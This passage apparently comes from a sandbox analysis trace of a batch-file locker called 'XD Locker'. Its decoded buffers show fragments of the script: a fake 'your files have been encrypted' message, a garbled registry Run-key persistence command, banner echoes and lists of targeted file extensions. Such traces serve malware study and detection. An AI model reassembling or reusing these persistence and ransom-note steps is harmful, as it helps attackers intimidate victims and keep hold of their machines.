lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0037.993] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.993] SetFilePointer (in: hFile=0x74, lDistanceToMove=5348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0037.993] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0037.993] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.993] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0037.993] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.993] GetFileType (hFile=0x74) returned 0x1 [0037.993] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0037.993] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.993] SetFilePointer (in: hFile=0x74, lDistanceToMove=5353, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0037.994] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=5, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":l2\r\nLock\r\n") returned 5 [0037.994] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.994] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0037.994] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.994] GetFileType (hFile=0x74) returned 0x1 [0037.994] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0037.994] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.994] SetFilePointer (in: hFile=0x74, lDistanceToMove=5409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0037.994] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="msg * Ooops your file have been encryoted by XD Locker\r\nve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 56 [0037.994] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.994] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0037.994] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.994] GetFileType (hFile=0x74) returned 0x1 [0037.994] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0037.994] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.994] SetFilePointer (in: hFile=0x74, lDistanceToMove=5419, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0037.994] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=10, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="color 4f\r\ns your file have been encryoted by XD Locker\r\n") returned 10 [0037.994] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.995] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0037.995] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.995] GetFileType (hFile=0x74) returned 0x1 [0037.995] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0037.995] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.995] SetFilePointer (in: hFile=0x74, lDistanceToMove=5424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0037.995] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=5, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cls\r\n 4f\r\n") returned 5 [0037.995] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.995] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0037.995] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.995] GetFileType (hFile=0x74) returned 0x1 [0037.995] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0037.995] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.995] SetFilePointer (in: hFile=0x74, lDistanceToMove=5441, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0037.995] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=17, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="title XD Locker\r\nfile have been encryoted by XD Locker\r\n") returned 17 [0037.995] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.995] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0037.995] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.996] GetFileType (hFile=0x74) returned 0x1 [0037.996] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0037.996] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.996] SetFilePointer (in: hFile=0x74, lDistanceToMove=5508, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0037.996] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=67, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ## #### ## ## #### ## ##\r\n /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 67 [0037.996] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.996] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0037.996] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.996] GetFileType (hFile=0x74) returned 0x1 [0037.996] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0037.996] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.996] SetFilePointer (in: hFile=0x74, lDistanceToMove=5576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0037.996] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ## ## ## ## ## ## ## ## ####\r\n/v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 68 [0037.996] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.996] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0037.996] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.996] GetFileType (hFile=0x74) returned 0x1 [0037.996] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0037.997] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.997] SetFilePointer (in: hFile=0x74, lDistanceToMove=5644, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0037.997] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ### ## ## ## #### ## ## ## ## #\r\n") returned 68 [0037.997] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.997] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0037.997] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.997] GetFileType (hFile=0x74) returned 0x1 [0037.997] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0037.997] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.997] SetFilePointer (in: hFile=0x74, lDistanceToMove=5708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0037.997] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=64, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ## ## ## ## #### ####### ####\r\n #\r\n") returned 64 [0037.997] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.997] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0037.997] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.997] GetFileType (hFile=0x74) returned 0x1 [0037.997] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0037.997] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.998] SetFilePointer (in: hFile=0x74, lDistanceToMove=5771, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0037.998] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=63, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ####### ## ## ## ## ## ###\r\n\n") returned 63 [0037.998] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.998] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0037.998] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.998] GetFileType (hFile=0x74) returned 0x1 [0037.998] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0037.998] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.998] SetFilePointer (in: hFile=0x74, lDistanceToMove=5833, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0037.998] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=62, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ####### #### ## ## ## ## ##\r\n\n") returned 62 [0037.998] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.998] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0037.998] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.998] GetFileType (hFile=0x74) returned 0x1 [0037.998] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0037.998] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.998] SetFilePointer (in: hFile=0x74, lDistanceToMove=5890, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0037.998] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=57, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ##\r\n ##\r\n") returned 57 [0037.999] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.999] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0037.999] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.999] GetFileType (hFile=0x74) returned 0x1 [0037.999] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0037.999] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.999] SetFilePointer (in: hFile=0x74, lDistanceToMove=5946, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0037.999] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ####\r\n\n") returned 56 [0037.999] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.999] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0037.999] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.999] GetFileType (hFile=0x74) returned 0x1 [0037.999] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0037.999] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.999] SetFilePointer (in: hFile=0x74, lDistanceToMove=5988, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0037.999] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=42, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted\r\n ####\r\n") returned 42 [0037.999] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.999] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0038.000] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.000] GetFileType (hFile=0x74) returned 0x1 [0038.000] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0038.000] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.000] SetFilePointer (in: hFile=0x74, lDistanceToMove=6013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0038.000] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo The encrypted file\r\n been encrypted\r\n") returned 25 [0038.000] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.000] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0038.000] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.000] GetFileType (hFile=0x74) returned 0x1 [0038.000] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0038.000] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.000] SetFilePointer (in: hFile=0x74, lDistanceToMove=6049, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0038.000] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=36, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo .zip .rar .gif .ink .txt .pdf\r\npted\r\n") returned 36 [0038.000] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.000] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0038.000] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.001] GetFileType (hFile=0x74) returned 0x1 [0038.001] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0038.001] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.001] SetFilePointer (in: hFile=0x74, lDistanceToMove=6086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0038.001] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=37, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo .vbs .doc .mp4 .mp3 .wav .docx\r\nted\r\n") returned 37 [0038.001] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.001] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0038.001] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.001] GetFileType (hFile=0x74) returned 0x1 [0038.001] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0038.001] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.001] SetFilePointer (in: hFile=0x74, lDistanceToMove=6118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0038.001] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=32, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo .jpg .png .htm .url .html\r\nocx\r\n") returned 32 [0038.001] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.001] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0038.001] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.001] GetFileType (hFile=0x74) returned 0x1 [0038.001] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0038.002] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.002] SetFilePointer (in: hFile=0x74, lDistanceToMove=6153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0038.002] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n\r\n") returned 35 [0038.002] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.002] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0038.002] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.002] GetFileType (hFile=0x74) returned 0x1 [0038.002] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0038.002] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.002] SetFilePointer (in: hFile=0x74, lDistanceToMove=6188, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0038.002] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo +XD Locker encrypt file XD +\r\n") returned 35 [0038.002] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.002] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0038.002] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.002] GetFileType (hFile=0x74) returned 0x1 [0038.002] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0038.002] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.003] SetFilePointer (in: hFile=0x74, lDistanceToMove=6223, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0038.003] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n") returned 35 [0038.003] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.003] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0038.003] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.003] GetFileType (hFile=0x74) returned 0x1 [0038.003] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0038.003] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.003] SetFilePointer (in: hFile=0x74, lDistanceToMove=6258, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0038.003] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo +===========time===========+\r\n") returned 35 [0038.003] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.003] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, 